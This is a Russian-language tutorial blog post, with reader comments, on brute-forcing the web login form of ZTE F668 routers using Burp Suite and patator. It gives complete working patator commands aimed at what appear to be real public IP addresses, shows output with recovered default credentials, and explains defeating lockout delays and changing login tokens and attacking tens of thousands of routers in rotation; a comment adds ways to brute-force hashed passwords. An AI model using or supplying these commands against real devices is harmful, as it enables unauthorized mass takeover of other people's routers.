Брут-форс формы входа роутеров


Оглавление

1. Взлом страницы входа роутера

2. Брут-форс веб-форм роутеров

3. Команда для брут-форса роутера

4. Случайные величины в форме входа

5. Оптимизация брут-форса путём атаки сразу на несколько целей

Заключение


Взлом страницы входа роутера

Чтобы иметь представления об HTTP аутентификации начнём с выдержки из справки Router Scan by Stas'M:

Формально можно разделить устройства на два типа - те, которые используют аутентификацию на уровне протокола HTTP, - и другие, которые её не используют - в их число входят устройства, использующие HTTP формы для авторизации.

Первый тип устройств довольно легко отличить от второго, открыв устройство в интернет браузере: у них в самом начале всегда появляется всплывающее окно с названием устройства и предложением ввести логин и пароль. Устройства второго типа не выдают подобного приглашения, а сразу открывают веб страницу, на которой также можно авторизоваться.

Но, если вы затрудняетесь визуально определить тип аутентификации, можно изучить HTTP заголовки ответа устройства, а конкретно заголовок WWW-Authenticate - именно он указывает на использование аутентификации на уровне протокола.

Для подбора пароля к таким устройствам Router Scan использует словари пар логин/пароль. Программой поддерживаются два метода аутентификации на уровне протокола:

  • Basic - базовая аутентификация, имя пользователя и пароль обрабатываются обратимым шифром и отправляются в заголовках (подробнее).
  • Digest - дайджест аутентификация, данные для входа необратимо хешируются алгоритмом MD5 и отправляются в заголовках (подробнее).

Для остальных устройств, не использующих эти методы, перебор по словарям не поддерживается (за исключением некоторых моделей, для которых была добавлена поддержка словаря Form аутентификации). Но можно воспользоваться функцией Use credentials в главном окне программы, которая проверяет пару логин/пароль независимо от метода аутентификации.

Итак, Router Scan использует брут-форс форм для авторизации на роутере не для всех моделей, в результате можно получить следующую картину:

Это несколько кучных подсетей в которых в избытке водится роутер ZTE F668. Скажу больше — почти во всех них стандартные логины и пароли, но ни Router Scan, ни RouterSploit не извлекает из них информацию, поскольку на роутере вход выполняется с помощью веб-формы, а для этой модели брут-форс не поддерживается.

Брут-форс веб-форм роутеров

Нам понадобится несколько инструментов. Первый из них — Burp Suite. По приведённой ссылке есть инструкции, в том числе для настройки работы Burp Suite с веб-браузерами — не будем здесь на этом останавливаться, выполните подготовительные действия самостоятельно.

Итак, открываем в веб-браузере интересующий нас роутер:

и убеждаемся, что Burp Suite действительно видит передаваемые данные:


Теперь отправляем заведомо неправильные данные, например, имя пользователя 11111111 и пароль 22222222:

Переходим к анализу в Burp Suite:

Данные отправляются методом POST, на страницу / (корневая папка) отправляется HTTP заголовок с кукиз Cookie: _TESTCOOKIESUPPORT=1, передаётся строка вида:

frashnum=&action=login&Frm_Logintoken=0&Username=11111111&Password=22222222

Смотрим ответ, для начала переключаемся на рендер:

Отлично, в ответе содержится слово Error, поищем его в сырых передаваемых данных:

Анализируем обычный ответ, без ввода пароля:

Там также встречается слово Error, то есть его наличие ни о чём не говорит — такой маркер не подходит для брут-форса. Надеюсь, самые внимательные заметили, что в ответе, пришедшем на аутентификацию, найдено два совпадения с Error, а в обычном ответе, только одно. Смотрим ещё раз ответ после попытки аутентификации:

В этом ответе содержится очень характерная строка:

User information is error, please input again.

Брут-форс роутеров

Для брутфорса я буду использовать программу patator. Чтобы вам было понятно, почему, прочитайте статью «Брут-форс веб-сайтов: инструкция по использованию patator, Hydra, Medusa». В этой же статье вы научитесь использовать patator для брут-форса веб-форм сайтов.


В общем виде, в самом простом случае, наша команда будет иметь следующий вид:

patator http_fuzz url="..." method=POST body='...' 0=... 1=... accept_cookie=1 header='Cookie: ...' -x ignore:fgrep='...' -t 1

Теперь давайте заполним пробелы.

В качестве URL будет IP адрес роутера, например, 58.8.246.217, в качестве body нам нужно взять передаваемую строку, в нашем случае это frashnum=&action=login&Frm_Logintoken=0&Username=11111111&Password=22222222

И в ней в том месте, где имя пользователя, вставим FILE0, а вместо пароля вставим FILE1. В моём случае получилось: body='frashnum=&action=login&Frm_Logintoken=0&Username=FILE0&Password=FILE1'

Теперь нам нужно указать путь до словарей. Словарь с именами пользователей у меня называется users.txt и расположен в той же папке, где я запускаю patator. Содержимое моего небольшого словаря:

admin
root
Admin

Таким образом, я указываю имя словаря строкой 0=users.txt

Файл с паролями у меня называется passwords.txt, путь до него я указываю строкой 1=passwords.txt.

Содержимое моего файла passwords.txt:

admin
password
1234
root
Admin
12345

Вспомним, что при отправке запроса также отправляется заголовок с куки _TESTCOOKIESUPPORT=1, поэтому к нашей команде мы добавляем header='Cookie: _TESTCOOKIESUPPORT=1'.

Теперь нам нужно установить условие, по которому будет определяться, выполнен вход или нет. Этой строкой является «User information is error, please input again», поэтому для игнорирования ответов, содержащих указанную строку, мы запишем следующую опцию: -x ignore:fgrep='User information is error'. Я немного сократил строку, так как точки и запятые у patator вызывают ошибки. Команда ignore говорит не сообщать о результатах, которые соответствуют следующему за двоеточием условию. Команда fgrep означает поиск строки в полученных данных. Для точного сообщения используется команда mesg, а для поиска по регулярному выражению есть команда egrep.

Собираем всё вместе:

patator http_fuzz url="58.8.248.33" method=POST body='frashnum=&action=login&Frm_Logintoken=0&Username=FILE0&Password=FILE1' 0=users.txt 1=passwords.txt accept_cookie=1 header='Cookie: _TESTCOOKIESUPPORT=1' -x ignore:fgrep='User information is error' -t 1

Получаем такой результат:

16:11:25 patator    INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2018-08-15 16:11 MSK
16:11:25 patator    INFO -                                                                              
16:11:25 patator    INFO - code size:clen       time | candidate                          |   num | mesg
16:11:25 patator    INFO - -----------------------------------------------------------------------------
16:11:26 patator    INFO - 302  304:0          0.666 | admin:password                     |     2 | HTTP/1.1 302 Moved Temporarily
16:11:27 patator    INFO - 200  6882:6608      2.002 | admin:root                         |     4 | HTTP/1.1 200 OK
16:11:27 patator    INFO - 200  6882:6608      2.002 | root:1234                          |     9 | HTTP/1.1 200 OK
16:11:27 patator    INFO - 200  6882:6608      2.002 | root:12345                         |    12 | HTTP/1.1 200 OK
16:11:27 patator    INFO - 200  6882:6608      2.001 | Admin:admin                        |    13 | HTTP/1.1 200 OK
16:11:27 patator    INFO - 200  6882:6608      2.002 | Admin:Admin                        |    17 | HTTP/1.1 200 OK
16:11:27 patator    INFO - 200  6882:6608      2.002 | Admin:12345                        |    18 | HTTP/1.1 200 OK
16:11:27 patator    INFO - 200  6882:6608      2.145 | admin:admin                        |     1 | HTTP/1.1 200 OK
16:11:28 patator    INFO - 200  6882:6608      2.352 | root:root                          |    10 | HTTP/1.1 200 OK
16:11:28 patator    INFO - 200  6882:6608      2.555 | admin:Admin                        |     5 | HTTP/1.1 200 OK
16:11:28 patator    INFO - 200  6882:6608      2.760 | root:password                      |     8 | HTTP/1.1 200 OK
16:11:28 patator    INFO - 200  6882:6608      2.964 | Admin:1234                         |    15 | HTTP/1.1 200 OK
16:11:29 patator    INFO - 200  6882:6608      2.002 | admin:1234                         |     3 | HTTP/1.1 200 OK
16:11:29 patator    INFO - 200  6882:6608      4.004 | root:Admin                         |    11 | HTTP/1.1 200 OK
16:11:29 patator    INFO - 200  6882:6608      4.003 | Admin:root                         |    16 | HTTP/1.1 200 OK
16:11:29 patator    INFO - Hits/Done/Skip/Fail/Size: 15/18/0/0/18, Avg: 3 r/s, Time: 0h 0m 4s


Это странный результат, как будто бы почти все логины и пароли оказались верными.

Обратим внимание на строку с 302 Moved Temporarily. Она говорит о том, что при вводе учётных данных admin:password роутер хотел нас куда-то перенаправить. Видимо, это и есть правильные учётные данные (логинимся на роутере для проверки), а всё остальное это ложные срабатывания. Подумаем, как это могло получиться?


Получается, что по каким-то причинам роутер перестаёт отправлять строку «User information is error». Можно предположить, что после аутентификации, роутер запоминает наш IP и теперь все входы с этого адреса разрешены. Это можно проверить открыв в браузере страницу роутера. В моём случае это предположение не подтвердилось.

Самой вероятной причиной может быть защита от брутфорса. Попробуем быстро ввести несколько раз неправильные учётные данные. Точно:

Причина найдена, вместо строки «информация о пользователе это ошибка», нам показывают «You have input the wrong username or password for three times. Please try again a minute later», то есть «вы ввели имя пользователя или пароль неправильно три раза. Попробуйте снова через минуту».

Программа patator поддерживает одновременное использование нескольких опций -x и можно было бы добавить -x ignore:fgrep='You have input the wrong username or password for three times', но это не решает главную проблему: после трёх неправильных попыток нужно подождать 1 минуту. Для её исправления можно установить временной интервал между попытками в 1 минуту: --rate-limit=60

Но вспомним, что при вводе верных учётных данных происходит переадресация — сервер возвращает код 302:

Поэтому можно использовать конструкцию из двух опций: -x quit:code=302 и -x ignore:code=200. Перед двоеточием идёт команда, а затем условие, при котором выполняется эта команда. В первой строке quit означает выйти, как только получен код 302, то есть пароль найден и продолжать не нужно. Вторая команда ignore означает не показывать полученные данные при получении кода 200.

В результате получается команда:

patator http_fuzz url="58.11.48.84" method=POST body='frashnum=&action=login&Frm_Logintoken=0&Username=FILE0&Password=FILE1' 0=users.txt 1=passwords.txt accept_cookie=1 header='Cookie: _TESTCOOKIESUPPORT=1' -t 1 -x quit:code=302 -x ignore:code=200 --rate-limit=61

Случайные величины в форме входа

Если сделать несколько попыток входа и изучить передаваемые данные, то можно заметить, что значение переменной Frm_Logintoken меняется.

Конкретная величина прописана в JavaScript коде:

getObj("Frm_Logintoken").value = "2";

И она меняется время от времени. Если передавать строку с неверно установленным токеном Frm_Logintoken, то роутер не примет даже правильный пароль. Это ещё одна защита от брутфорса. К счастью, patator имеет встроенный механизм обхода такой защиты.

Для этого используются опции before_urls и before_egrep. Опция before_urls указывает, какую страницу нужно загрузить до того, как будет сделана попытка аутентификации. А опция before_egrep ищет по заданному регулярному выражению в исходном коде страницы, полученной с помощью before_urls.

Для брут-форса исследуемого роутера нужно предварительно получить тот же адрес на котором вводятся данные, то есть before_urls=58.11.48.84.

Пример поиска по регулярному выражению: before_egrep='_N1_:getObj\("Frm_Logintoken"\).value = "(\w+)"'

Здесь переменной _N1_ присваивается значение обратной ссылки — выражения в скобках. \w+ обозначает главные составные символы, это синоним для «[_[:alnum:]]». Ещё раз — обратите внимание на скобки — это обратная ссылка. При этом в исходном фрагменте кода также присутствуют скобки — их нужно экранировать.

Также меняется передаваемая строка:

body='frashnum=&action=login&Frm_Logintoken=_N1_&Username=FILE0&Password=FILE1'.

Теперь в ней используется _N1_ для присвоения значения параметру Logintoken.

Дополнительные примеры, в том числе для сразу двух величин, смотрите на странице https://kali.tools/?p=269.

Если роутер (или веб-приложение) устанавливает кукиз со случайным значением, то достаточно использовать before_urls в паре с accept_cookie=1 (принимать кукиз для последующей передачи).

Полная команда для брут-форса формы входа, с учётом всех нюансов исследуемой модели роутера, выглядит так:

patator http_fuzz url="58.11.48.84" method=POST body='frashnum=&action=login&Frm_Logintoken=_N1_&Username=FILE0&Password=FILE1' 0=users.txt 1=passwords.txt accept_cookie=1 header='Cookie: _TESTCOOKIESUPPORT=1' -t 1 -x quit:code=302 -x ignore:code=200 --rate-limit=61 before_urls=58.11.48.84 before_egrep='_N1_:getObj\("Frm_Logintoken"\).value = "(\w+)"'

Оптимизация брут-форса путём атаки сразу на несколько целей

Одна попытка в минуту это довольно медленно. Кстати, ведь в рассматриваемых условиях мы можем делать по три попытки в минуту, затем делать паузу. Не уверен, можно ли это сделать встроенным средствами patator.

Зато в patator есть очень полезный алгоритм, который используется по умолчанию при брут-форсе большого количества объектов. Можно запустить перебор учётных данных сразу на множестве роутеров. Для этого в качестве цели с опцией url укажите файл, например, url=FILE2, также укажите путь до самого файла: 2=routers_IP.txt. patator будет работать следующим образом: пробовать один логин:пароль на первом роутере, затем переходить ко второму роутеру и там пробовать один логин:пароль, затем к следующему, пока список не кончится. Когда список завершится, то patator зайдёт на второй круг и для первого роутера попробует вторую пару логин:пароль, затем перейдёт к следующему роутеру и так далее. В результате возникает естественная задержка между попытками ввода на одном роутере — пока делаются попытки входа на следующих в списке, каждому роутеру даётся время «передышки». Это позволяет значительно сократить значение --rate-limit или вовсе не использовать, так как если одновременно брут-форсятся десятки тысяч роутеров, то очередь до каждого роутера может доходить более чем через минуту. Номер файла имеет значение! То есть в начале полный круг проходится для файлов с номером 0. Это могут быть, например, имена пользователей. Если вы будете брать адреса роутеров для брут-форса из файла с номером 0, то patator будет атаковать только первый в списке роутер и перейдёт к следующему только тогда, когда закончатся логины и пароли для проверки.

На случай если найдены верные логин:пароль, то вместо команды quit (выход из программы), нужно использовать команду free (остановка тестирования хоста после нахождения валидного пароля) примерно следующим образом: -x free=url:code=302

Заключение

Итак, мы рассмотрели брут-форс роутера на примере конкретной модели. Мы столкнулись почти со всеми возможными проблемами, которые могут возникнуть при брут-форсе как роутеров в веб-формой входа, так и других веб-приложений, также использующих веб-форму для аутетификации. Разве что, не была рассмотрена ситуация с капчей и использованием набора прокси для ускорения процесса.

В целом алгоритм всегда примерно одинаковый:

  • Анализ передаваемых данных. Это удобно делать с помощью Burp Suite. Особое внимание следует уделить произвольно меняющимся полям, кукиз, значению реферера и значению user-agent (это всё передаётся в HTTP заголовках)
  • Анализ возвращаемых данных и поиск самых характерных маркеров и событий, свидетельствующих о правильности или неправильности логина и пароля
  • Перед запуском брут-форса следует сделать проверку на методы противодействия брут-форсу
  • В качестве маркера, который говорит patator об успешности входа, нужно выбирать строку или событие, у которого меньше всего вероятность вызвать ложное срабатывание
  • Некоторым видам защит (например, блокировка после нескольких неправильных попыток) невозможно противодействовать, но можно оптимизировать процесс атаки различными способами

Рекомендуется Вам:

8 комментариев to Брут-форс формы входа роутеров

  1. Аноним:

    Спасибо за статью!

  2. Alex:

    Добрый день! У меня роутер zte zxdsl 931 с прошивкой провайдера и пароль передается в зашифрованном виде, поэтому  гидрой не удается брутить. Возможно ли какое-то решение?

    • Alexey:

      Приветствую! Я так понимаю, что в веб браузере вычисляется хеш пароля и затем роутеру передаётся этот хеш, правильно? Можно придумать два теоретических варианта брут-форса в такой ситуации и оба они сложные.

      1. Анализируя исходный код (JavaScript) определяется алгоритм хеширования. Затем по этому алгоритму вычисляется словарь хешей (берётся файл с обычными паролями и для всех вычисляется хеш). Для брутфорса используется файл с хешами, вместо обычного словаря.

      2. Сейчас уже имеется несколько безголовых веб-браузеров. Т.е. это полноценный веб-браузер, в нём работает JavaScript, но вся работа выполняется в командной строке. Также есть готовые решения автоматизации работы безголовых веб браузеров. Можно написать скрипт: берутся пароли из словаря, вводятся в форму безголового браузера и отправляются, полученный результат проверяется — и так для каждого пароля.

  3. Артур:

    Делаю все как описано, но после строки Connection: close, неправильный логин и пароль не отправляеться в Burp Suite

  4. Артур:

    скрин с программы

  5. Zuksel:

     Также плагин от Google Chrome очень хорошо работает рекомендую Особенно для WordPress

    www_brute -рулит

Добавить комментарий для Alexey Отменить ответ

Ваш адрес email не будет опубликован. Обязательные поля помечены *